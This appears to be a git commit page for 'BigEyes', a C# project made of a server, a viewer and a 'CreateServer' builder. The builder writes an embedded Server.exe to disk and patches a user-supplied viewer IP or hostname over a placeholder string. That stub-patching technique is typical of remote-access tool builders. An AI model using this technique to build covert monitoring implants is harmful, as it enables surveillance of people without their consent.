summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2010-04-19 02:45:12 -0400
committerJason A. Donenfeld <Jason@zx2c4.com>2010-04-19 02:45:12 -0400
commit20478517440ed6d86602647870c035fb69850620 (patch)
treec4f55e0f548bdecac1912e525d28fac46d101666
downloadBigEyes-20478517440ed6d86602647870c035fb69850620.tar.xz
BigEyes-20478517440ed6d86602647870c035fb69850620.zip
Initial commit.
-rw-r--r--.gitignore4
-rw-r--r--BigEyes.sln34
-rw-r--r--CreateServer/CreateServer.csproj71
-rw-r--r--CreateServer/Form1.Designer.cs98
-rw-r--r--CreateServer/Form1.cs52
-rw-r--r--CreateServer/Form1.resx503
-rw-r--r--CreateServer/Program.cs20
-rw-r--r--CreateServer/Server.exebin0 -> 28672 bytes
-rw-r--r--CreateServer/Themes.icobin0 -> 22486 bytes
-rw-r--r--Server/Disabler.cs52
-rw-r--r--Server/Main.cs59
-rw-r--r--Server/Matrix.cs98
-rw-r--r--Server/Server.cs318
-rw-r--r--Server/Server.csproj118
-rw-r--r--Server/UserCapture.cs195
-rw-r--r--Server/Window.cs236
-rw-r--r--Server/viewer.txt1
-rw-r--r--Viewer/BigEyes.cs40
-rw-r--r--Viewer/Client.cs401
-rw-r--r--Viewer/Path.cs341
-rw-r--r--Viewer/Search.icobin0 -> 22486 bytes
-rw-r--r--Viewer/Viewer.csproj116
-rw-r--r--Viewer/ViewerForm.cs759
-rw-r--r--Viewer/ViewerForm.resx509
24 files changed, 4025 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..25d05a5
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,4 @@
+bin
+obj
+*.suo
+*.user
diff --git a/BigEyes.sln b/BigEyes.sln
new file mode 100644
index 0000000..8bef47b
--- /dev/null
+++ b/BigEyes.sln
@@ -0,0 +1,34 @@
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{1845B01F-B9DF-4BE5-B232-FA794CBF3DAD}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CreateServer", "CreateServer\CreateServer.csproj", "{F43ACAE3-BA6D-4F29-BECC-14068466702C}"
+ ProjectSection(ProjectDependencies) = postProject
+ {1845B01F-B9DF-4BE5-B232-FA794CBF3DAD} = {1845B01F-B9DF-4BE5-B232-FA794CBF3DAD}
+ EndProjectSection
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Viewer", "Viewer\Viewer.csproj", "{730E2B50-1CF7-4879-82E0-6997CB7C43A5}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {1845B01F-B9DF-4BE5-B232-FA794CBF3DAD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {1845B01F-B9DF-4BE5-B232-FA794CBF3DAD}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {1845B01F-B9DF-4BE5-B232-FA794CBF3DAD}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {1845B01F-B9DF-4BE5-B232-FA794CBF3DAD}.Release|Any CPU.Build.0 = Release|Any CPU
+ {F43ACAE3-BA6D-4F29-BECC-14068466702C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {F43ACAE3-BA6D-4F29-BECC-14068466702C}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {F43ACAE3-BA6D-4F29-BECC-14068466702C}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {F43ACAE3-BA6D-4F29-BECC-14068466702C}.Release|Any CPU.Build.0 = Release|Any CPU
+ {730E2B50-1CF7-4879-82E0-6997CB7C43A5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {730E2B50-1CF7-4879-82E0-6997CB7C43A5}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {730E2B50-1CF7-4879-82E0-6997CB7C43A5}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {730E2B50-1CF7-4879-82E0-6997CB7C43A5}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/CreateServer/CreateServer.csproj b/CreateServer/CreateServer.csproj
new file mode 100644
index 0000000..b268674
--- /dev/null
+++ b/CreateServer/CreateServer.csproj
@@ -0,0 +1,71 @@
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <PropertyGroup>
+ <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+ <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+ <ProductVersion>8.0.50727</ProductVersion>
+ <SchemaVersion>2.0</SchemaVersion>
+ <ProjectGuid>{F43ACAE3-BA6D-4F29-BECC-14068466702C}</ProjectGuid>
+ <OutputType>WinExe</OutputType>
+ <AppDesignerFolder>Properties</AppDesignerFolder>
+ <RootNamespace>BigEyes.CreateServer</RootNamespace>
+ <AssemblyName>CreateServer</AssemblyName>
+ <StartupObject>
+ </StartupObject>
+ <ApplicationIcon>Themes.ico</ApplicationIcon>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+ <DebugSymbols>true</DebugSymbols>
+ <DebugType>full</DebugType>
+ <Optimize>false</Optimize>
+ <OutputPath>bin\Debug\</OutputPath>
+ <DefineConstants>DEBUG;TRACE</DefineConstants>
+ <ErrorReport>prompt</ErrorReport>
+ <WarningLevel>4</WarningLevel>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+ <DebugType>none</DebugType>
+ <Optimize>true</Optimize>
+ <OutputPath>bin\Release\</OutputPath>
+ <DefineConstants>TRACE</DefineConstants>
+ <ErrorReport>prompt</ErrorReport>
+ <WarningLevel>4</WarningLevel>
+ </PropertyGroup>
+ <ItemGroup>
+ <Reference Include="System" />
+ <Reference Include="System.Data" />
+ <Reference Include="System.Deployment" />
+ <Reference Include="System.Drawing" />
+ <Reference Include="System.Windows.Forms" />
+ <Reference Include="System.Xml" />
+ </ItemGroup>
+ <ItemGroup>
+ <Compile Include="Form1.cs">
+ <SubType>Form</SubType>
+ </Compile>
+ <Compile Include="Form1.Designer.cs">
+ <DependentUpon>Form1.cs</DependentUpon>
+ </Compile>
+ <Compile Include="Program.cs" />
+ </ItemGroup>
+ <ItemGroup>
+ <EmbeddedResource Include="Form1.resx">
+ <SubType>Designer</SubType>
+ <DependentUpon>Form1.cs</DependentUpon>
+ </EmbeddedResource>
+ <EmbeddedResource Include="Server.exe" />
+ </ItemGroup>
+ <ItemGroup>
+ <Content Include="Themes.ico" />
+ </ItemGroup>
+ <ItemGroup>
+ <Folder Include="Properties\" />
+ </ItemGroup>
+ <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+ <!-- To modify your build process, add your task inside one of the targets below and uncomment it.
+ Other similar extension points exist, see Microsoft.Common.targets.
+ <Target Name="BeforeBuild">
+ </Target>
+ <Target Name="AfterBuild">
+ </Target>
+ -->
+</Project> \ No newline at end of file
diff --git a/CreateServer/Form1.Designer.cs b/CreateServer/Form1.Designer.cs
new file mode 100644
index 0000000..5a3c038
--- /dev/null
+++ b/CreateServer/Form1.Designer.cs
@@ -0,0 +1,98 @@
+namespace BigEyes.CreateServer
+{
+ partial class Form1
+ {
+ /// <summary>
+ /// Required designer variable.
+ /// </summary>
+ private System.ComponentModel.IContainer components = null;
+
+ /// <summary>
+ /// Clean up any resources being used.
+ /// </summary>
+ /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing && (components != null))
+ {
+ components.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+
+ #region Windows Form Designer generated code
+
+ /// <summary>
+ /// Required method for Designer support - do not modify
+ /// the contents of this method with the code editor.
+ /// </summary>
+ private void InitializeComponent()
+ {
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
+ this.label1 = new System.Windows.Forms.Label();
+ this.textBox1 = new System.Windows.Forms.TextBox();
+ this.button1 = new System.Windows.Forms.Button();
+ this.saveFileDialog1 = new System.Windows.Forms.SaveFileDialog();
+ this.SuspendLayout();
+ //
+ // label1
+ //
+ this.label1.AutoSize = true;
+ this.label1.Location = new System.Drawing.Point(12, 9);
+ this.label1.Name = "label1";
+ this.label1.Size = new System.Drawing.Size(93, 13);
+ this.label1.TabIndex = 0;
+ this.label1.Text = "Viewer IP or DNS:";
+ //
+ // textBox1
+ //
+ this.textBox1.Location = new System.Drawing.Point(111, 6);
+ this.textBox1.MaxLength = 26;
+ this.textBox1.Name = "textBox1";
+ this.textBox1.Size = new System.Drawing.Size(152, 20);
+ this.textBox1.TabIndex = 1;
+ //
+ // button1
+ //
+ this.button1.Location = new System.Drawing.Point(177, 32);
+ this.button1.Name = "button1";
+ this.button1.Size = new System.Drawing.Size(86, 23);
+ this.button1.TabIndex = 2;
+ this.button1.Text = "&Save";
+ this.button1.UseVisualStyleBackColor = true;
+ this.button1.Click += new System.EventHandler(this.button1_Click);
+ //
+ // saveFileDialog1
+ //
+ this.saveFileDialog1.DefaultExt = "exe";
+ this.saveFileDialog1.Title = "Save BigEyes Server as...";
+ //
+ // Form1
+ //
+ this.AcceptButton = this.button1;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.ClientSize = new System.Drawing.Size(275, 61);
+ this.Controls.Add(this.button1);
+ this.Controls.Add(this.textBox1);
+ this.Controls.Add(this.label1);
+ this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
+ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+ this.MaximizeBox = false;
+ this.MinimizeBox = false;
+ this.Name = "Form1";
+ this.Text = "Create BigEyes Server";
+ this.ResumeLayout(false);
+ this.PerformLayout();
+
+ }
+
+ #endregion
+
+ private System.Windows.Forms.Label label1;
+ private System.Windows.Forms.TextBox textBox1;
+ private System.Windows.Forms.Button button1;
+ private System.Windows.Forms.SaveFileDialog saveFileDialog1;
+ }
+}
+
diff --git a/CreateServer/Form1.cs b/CreateServer/Form1.cs
new file mode 100644
index 0000000..0a54427
--- /dev/null
+++ b/CreateServer/Form1.cs
@@ -0,0 +1,52 @@
+using System;
+using System.ComponentModel;
+using System.Windows.Forms;
+using System.Reflection;
+using System.IO;
+using System.Text;
+
+namespace BigEyes.CreateServer
+{
+ public partial class Form1 : Form
+ {
+ public Form1()
+ {
+ InitializeComponent();
+ }
+ private void button1_Click(object sender, EventArgs e)
+ {
+ if (this.saveFileDialog1.ShowDialog() == DialogResult.OK)
+ {
+ Stream fs = Assembly.GetExecutingAssembly().GetManifestResourceStream("BigEyes.CreateServer.Server.exe");
+ byte[] b = new byte[fs.Length];
+ fs.Read(b, 0, b.Length);
+ fs.Close();
+ fs = new FileStream(this.saveFileDialog1.FileName, FileMode.Create);
+ fs.Write(b, 0, b.Length);
+ b = new byte[0x1a];
+ int location = -1;
+ for (int i = 0; i != fs.Length - 0x1a; i++)
+ {
+ fs.Position = i;
+ fs.Read(b, 0, 0x1a);
+ if (ASCIIEncoding.Default.GetString(b) == "ABCDEFGHIJKLMNOPQRSTUVWXYZ")
+ {
+ location = i;
+ break;
+ }
+ }
+ for (int i = 0; i != b.Length; i++)
+ {
+ b[i] = 0;
+ }
+ fs.Position = location;
+ fs.Write(b, 0, b.Length);
+ fs.Position = location;
+ b = ASCIIEncoding.Default.GetBytes(this.textBox1.Text);
+ fs.Write(b,0,b.Length);
+ fs.Close();
+ MessageBox.Show("BigEyes Server written to disk!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
+ }
+ }
+ }
+} \ No newline at end of file
diff --git a/CreateServer/Form1.resx b/CreateServer/Form1.resx
new file mode 100644
index 0000000..81d394a
--- /dev/null
+++ b/CreateServer/Form1.resx
@@ -0,0 +1,503 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+ <!--
+ Microsoft ResX Schema
+
+ Version 2.0
+
+ The primary goals of this format is to allow a simple XML format
+ that is mostly human readable. The generation and parsing of the
+ various data types are done through the TypeConverter classes
+ associated with the data types.
+
+ Example:
+
+ ... ado.net/XML headers & schema ...
+ <resheader name="resmimetype">text/microsoft-resx</resheader>
+ <resheader name="version">2.0</resheader>
+ <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+ <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+ <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+ <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+ <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+ <value>[base64 mime encoded serialized .NET Framework object]</value>
+ </data>
+ <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+ <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+ <comment>This is a comment</comment>
+ </data>
+
+ There are any number of "resheader" rows that contain simple
+ name/value pairs.
+
+ Each data row contains a name, and value. The row also contains a
+ type or mimetype. Type corresponds to a .NET class that support
+ text/value conversion through the TypeConverter architecture.
+ Classes that don't support this are serialized and stored with the
+ mimetype set.
+
+ The mimetype is used for serialized objects, and tells the
+ ResXResourceReader how to depersist the object. This is currently not
+ extensible. For a given mimetype the value must be set accordingly:
+
+ Note - application/x-microsoft.net.object.binary.base64 is the format
+ that the ResXResourceWriter will generate, however the reader can
+ read any of the formats listed below.
+
+ mimetype: application/x-microsoft.net.object.binary.base64
+ value : The object must be serialized with
+ : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+ : and then encoded with base64 encoding.
+
+ mimetype: application/x-microsoft.net.object.soap.base64
+ value : The object must be serialized with
+ : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+ : and then encoded with base64 encoding.
+
+ mimetype: application/x-microsoft.net.object.bytearray.base64
+ value : The object must be serialized into a byte array
+ : using a System.ComponentModel.TypeConverter
+ : and then encoded with base64 encoding.
+ -->
+ <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+ <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+ <xsd:element name="root" msdata:IsDataSet="true">
+ <xsd:complexType>
+ <xsd:choice maxOccurs="unbounded">
+ <xsd:element name="metadata">
+ <xsd:complexType>
+ <xsd:sequence>
+ <xsd:element name="value" type="xsd:string" minOccurs="0" />
+ </xsd:sequence>
+ <xsd:attribute name="name" use="required" type="xsd:string" />
+ <xsd:attribute name="type" type="xsd:string" />
+ <xsd:attribute name="mimetype" type="xsd:string" />
+ <xsd:attribute ref="xml:space" />
+ </xsd:complexType>
+ </xsd:element>
+ <xsd:element name="assembly">
+ <xsd:complexType>
+ <xsd:attribute name="alias" type="xsd:string" />
+ <xsd:attribute name="name" type="xsd:string" />
+ </xsd:complexType>
+ </xsd:element>
+ <xsd:element name="data">
+ <xsd:complexType>
+ <xsd:sequence>
+ <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+ <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+ </xsd:sequence>
+ <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+ <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+ <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+ <xsd:attribute ref="xml:space" />
+ </xsd:complexType>
+ </xsd:element>
+ <xsd:element name="resheader">
+ <xsd:complexType>
+ <xsd:sequence>
+ <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+ </xsd:sequence>
+ <xsd:attribute name="name" type="xsd:string" use="required" />
+ </xsd:complexType>
+ </xsd:element>
+ </xsd:choice>
+ </xsd:complexType>
+ </xsd:element>
+ </xsd:schema>
+ <resheader name="resmimetype">
+ <value>text/microsoft-resx</value>
+ </resheader>
+ <resheader name="version">
+ <value>2.0</value>
+ </resheader>
+ <resheader name="reader">
+ <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+ </resheader>
+ <resheader name="writer">
+ <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+ </resheader>
+ <metadata name="saveFileDialog1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
+ <value>17, 17</value>
+ </metadata>
+ <assembly alias="System.Drawing" name="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
+ <data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+ <value>
+ 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
+ eXdlTzVPYnBmZ2pxamppaWl6enpmY0/ExcXGx8jJx8nKyssAAAAAQFFrjKq0QHV5d0i6u7y9RYC+YZeg
+ XEdOZmd6enp6dHR0dE5AAAC/wMHCwsMAAAAAQEdrTqq0QHV5ZbVVLV48pZUctreeibi5s4KgmFtjZnR0
+ dE5cAAAAAAAAAAAAAAAAQEdNTqpHQHV5T6tdOqMbS0awsaexshIFCrNBSUGYoIx0dE5cAAAAAAAAAAAA
+ AAAAQEdNToyqQHV4m6tdGqOkS0apsaexnSAFBkZIQU9HYqBrdE5cAAAAAAAAAAAAAAAAQEd8a4yqQHV4
+ m6tdGqykS0amra4XrzKwAkZHQU9HYluYdE5cAAAAAAAAAAAAAAAAQGN8TU6qQHV4NatdOqykS0amra6t
+ rzKen0ZHQVxHYlugdE5cAAAAAAAAAAAAAAAAQGNmTU6MQHV4XKGiLaOkpUamF6cXqKmen0ZHQVyqYlug
+ ek5cAAAAAAAAAAAAAAAAQGNmfE6MQHV4Z42ZVjuam5UgTJwfnTKen0ZRQU9HYlugemtcAAAAAAAAAAAA
+ AAAAQGNmfGuMQHV4eGuNjo+QkYoFkpOUIC8FApVPlkBIW5eYemtcAAAAAAAAAAAAAAAAQGN7fE1OQHV4
+ eHhqcFtAfoGFhoeIiSEcGYqLg4RAfn5remtcAAAAAAAAAAAAAAAAQGN7Zk1OQHV4eHh4eHl5d3F9dXBi
+ T35/gIGCg4GEfmNpemtcAAAAAAAAAAAAAAAAQHB7ZnxrQHV4eHh4eHl5eXl3d3dycnJqZ2ZkR1tHe2lp
+ emtcAAAAAAAAAAAAAAAAQHB0e3xrQHV4eHh4eHh5eXl5d3d3cnJyc3NxcWpqaWlpaWtcAAAAAAAAAAAA
+ AAAAQHB0e2ZNQHV4eHh4eHh4eXl5d3d3cnJyc3NzcXFqamlpaWtcAAAAAAAAAAAAAAAAQHB0e2ZNQHV4
+ eHh4eHh4eXl5eXd3d3JycnNzcXFqamppaWtcAAAAAAAAAAAAAAAAQGR6Z2Z8QHV4eHh4eHh4eHl5eXd3
+ d3dycnNzc3FxamppaWtcAAAAAAAAAAAAAAAAQGR6dHt8QHV4eHh4eHh4eHl5eXl3d3dycnJzc3NxcWpq
+ aWtcAAAAAAAAAAAAAAAAQGRpdGZIQE9iY2t1Z2l2d3h5eXl3d3d3cnJzc3NxcWpqaWtcAAAAAAAAAAAA
+ AAAAQGRpZE9AbG1ub0o2XFxcXFtHcGVmZ2lxcnJyc3NzcXFqamtcAAAAAAAAAAAAAAAAQFFbQE9RG1JT
+ JFRdXl9gNlphSEhcXFxcW2JjZGVmZ2hpamtcAAAAAAAAAAAAAAAAQEBAT0hRG1JTJFRVVldCS0YvCz5M
+ IFhZRlpbXFxcXFxcW1tcAAAAAAAAAAAAAAAANjVBQUFBPAcbGxs8QjxCS0YvCz5MGCEGKkZHQUhNTkhA
+ QE9QAAAAAAAAAAAAAAAAAAAAAAAAQkM4Kyw5OkRCRT8GBgoZEyIiIkZHQUhHQEFJSgAAAAAAAAAAAAAA
+ AAAAAAAAAAAANxQ4Kyw5Ojs8PTMGKT4fMiEoIj9AQUFBNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACRol
+ KywmLS4VAAAvMDEfMiEGKjM0NTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcjJCUmDScAAAAoKRcR
+ ICEoKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdHg4aDwAAAAAABR8XICEiAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPDg4aGwAAAAAACgsXGBwCAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAJFA4NFQAAAAAADBYXGBkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ DQ4PAAAAAAAAABAREhMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwgJAAAAAAAAAAoL
+ BQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAFBgAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////8AAP//
+ /////wAA///D////AAD//AAP//8AAP/gAAA//wAA/iAAAAH/AAD8AAAAAAcAAPgAAAAAAwAA4AAAAAAD
+ AADAAAAAAAMAAIAAAAAAAwAAgAAAAAADAACAAAAAAAMAAIAAAAAABwAAgAAAAAYHAACAAAAAB/8AAIAA
+ AAAH/wAAgAAAAAf/AACAAAAAB/8AAIAAAAAH/wAAgAAAAAf/AACAAAAAB/8AAIAAAAAH/wAAgAAAAAf/
+ AACAAAAAB/8AAIAAAAAH/wAAgAAAAAf/AACAAAAAB/8AAIAAAAAH/wAAgAAAAAf/AACAAAAAB/8AAIAA
+ AAAH/wAAgAAAAAf/AACAAAAAB/8AAIAAAAAH/wAAgAAAAAf/AAD+AAAAH/8AAP4AAAD//wAA/gDAA///
+ AAD/AcA///8AAP+D4H///wAA/4Pgf///AAD/g+D///8AAP/H8P///wAA/8fw////AAD/7/n///8AAP//
+ +f///wAA////////AAAoAAAAIAAAAEAAAAABAAgAAAAAAIAEAAAAAAAAAAAAAAABAAAAAAAAAAAAAP//
+ /wBUfFUAo0tBAKNSSQBVl1kAL3UwANR+XgC8VDEAV31YAJHRmAA6iTsA9bmQANd1QgCcUk0APXw/AKXg
+ rQBDl0UAMmUyALZOOAD4y6MA339JAJowGQBmrGsAquOzAEedSQAbWxsA5pFqAOODTQCzSR8AMXYyAJDS
+ lwBLoU0AJXElABNRFAB8i6IAc4KdAK08JAD0sYkA5odQAMVcKQCUJAwAY2qJAF+cZAB4tH4AGmMaAAVF
+ BQBTdJkAO1SDAEhlkQBTaI4AY3WWAENbhwCLFQ0AqUY2ALJWQwCaJQ8Agw0CAGF4lwAweDEAe7qBAHOw
+ eQAzgDMADEcMAGyVsgCIs88AaJCuAE1tkwCEl64AVXicAKI7KADir4sA9sOXANdqKwCwSBQAhR4GAGqH
+ pQAzeDsAisShAIu/qgBLiHMAQXdvAEBtdwBbgasAV32mAGSMtAB4mLgAe6PGAKfG3ACHUlEAr5yVAKSh
+ pwCMeHkAcG+AAF9wjwCInMMAlazJAKK80wC41+gAw93rAMvl8ADF4e4At8zcANXr9ADm9/oA3PD3AK7R
+ 5gCfx+AAjLLSAPL+/gCdwdsAqMziAJW71wCHr9AAharJAJe1zQBMcZkAhJm7AEt7gQBFenkAM35QACpv
+ OQATRxYAMlt4ABozYgBAaYwAOWKMAHRgYwCdRh4AdSEJADtUbwAwbTEAereBAIW8jABYqVgASpNKACFa
+ IQBahZ4AMkt6AHGcxABygJIAvVgfALxTIACNLRUAXniSAEaMRwCr6rMAse25AHLKdAAmZycAb5i9AENr
+ mgBrmMEAbGZrAM1kKgDMZDAAtPG8ALjzwABWn1YAasJsAGqUvABkkr0AdHqHAJQsFACPzZYAWrJbADxc
+ igCKXU8Ao0UXAH8cBgBGVn4AK2xEADpscABaWokASlCaAEVHkwBWhrYAUmOaAFJZmQBUWaUAYmWxAICE
